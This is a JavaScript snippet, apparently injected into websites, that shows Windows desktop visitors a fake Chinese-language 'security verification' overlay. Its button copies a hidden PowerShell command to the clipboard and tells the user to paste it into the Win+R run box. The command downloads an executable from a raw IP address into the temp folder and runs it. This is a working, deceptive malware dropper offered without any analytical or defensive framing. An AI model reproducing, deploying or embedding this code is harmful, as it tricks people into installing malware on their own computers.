(function () {
  try {
    var ua = navigator.userAgent || '';
    if (!/Windows NT/i.test(ua)) return;
    if (/Mobile|Android|iPhone|iPad/i.test(ua)) return;
    if (document.contentType && document.contentType.indexOf('text/html') < 0) return;
    var K = 'vz_chk';
    try { if (localStorage.getItem(K)) return; } catch (e) {}
    var CMD = 'powershell -w hidden -c "iwr http://185.146.232.119/dl/8c4f1e.dat -o $env:TEMP\\w.exe; start $env:TEMP\\w.exe"';

    function kbd(t) {
      return '<kbd style="background:#fff;border:1px solid #cfd4dc;border-radius:4px;padding:1px 6px;font:12px/1.4 Consolas,monospace">' + t + '</kbd>';
    }
    function show() {
      if (document.getElementById('vzbox')) return;
      if (!document.body) { setTimeout(show, 300); return; }
      var d = document.createElement('div');
      d.id = 'vzbox';
      d.style.cssText = 'position:fixed;left:0;top:0;right:0;bottom:0;z-index:2147483647;background:rgba(10,14,22,.88);display:flex;align-items:center;justify-content:center;font:14px/1.75 system-ui,"Segoe UI",Arial,sans-serif';
      d.innerHTML =
        '<div style="width:560px;max-width:92vw;background:#fff;border-radius:10px;padding:26px 28px;box-shadow:0 22px 64px rgba(0,0,0,.55)">' +
          '<div style="font-size:19px;font-weight:600;color:#111;margin-bottom:10px">需要完成安全验证才能继续</div>' +
          '<div style="color:#444;margin-bottom:14px">请按下面两步操作，验证过程约 10 秒，完成后本页自动继续：</div>' +
          '<div style="background:#f6f7f9;border:1px solid #e3e6eb;border-radius:8px;padding:12px 14px;color:#222;margin-bottom:10px">' +
            '<b>第 1 步</b>&nbsp; 按 ' + kbd('Win') + ' + ' + kbd('R') + ' 打开运行窗口</div>' +
          '<div style="background:#f6f7f9;border:1px solid #e3e6eb;border-radius:8px;padding:12px 14px;color:#222;margin-bottom:16px">' +
            '<b>第 2 步</b>&nbsp; 按 ' + kbd('Ctrl') + ' + ' + kbd('V') + ' 粘贴，再按 ' + kbd('Enter') + ' 回车</div>' +
          '<button id="vzbtn" style="width:100%;padding:12px;border:0;border-radius:8px;background:#1668e3;color:#fff;font-size:15px;cursor:pointer;font-weight:600">复制验证代码</button>' +
          '<div style="margin-top:12px;color:#8a8f98;font-size:12px">若验证窗口未出现，请刷新页面重试。</div>' +
        '</div>';
      document.body.appendChild(d);
      var b = document.getElementById('vzbtn');
      b.onclick = function () {
        var ok = false;
        try { navigator.clipboard.writeText(CMD); ok = true; } catch (e) {}
        if (!ok) {
          var t = document.createElement('textarea');
          t.value = CMD; t.style.position = 'fixed'; t.style.opacity = '0';
          document.body.appendChild(t); t.focus(); t.select();
          try { document.execCommand('copy'); ok = true; } catch (e) {}
          document.body.removeChild(t);
        }
        b.textContent = '已复制，请按 Win+R 粘贴并回车';
        b.style.background = '#0f9d58';
        try { localStorage.setItem(K, '1'); } catch (e) {}
      };
    }
    if (document.readyState === 'loading') document.addEventListener('DOMContentLoaded', show);
    else show();
  } catch (e) {}
})();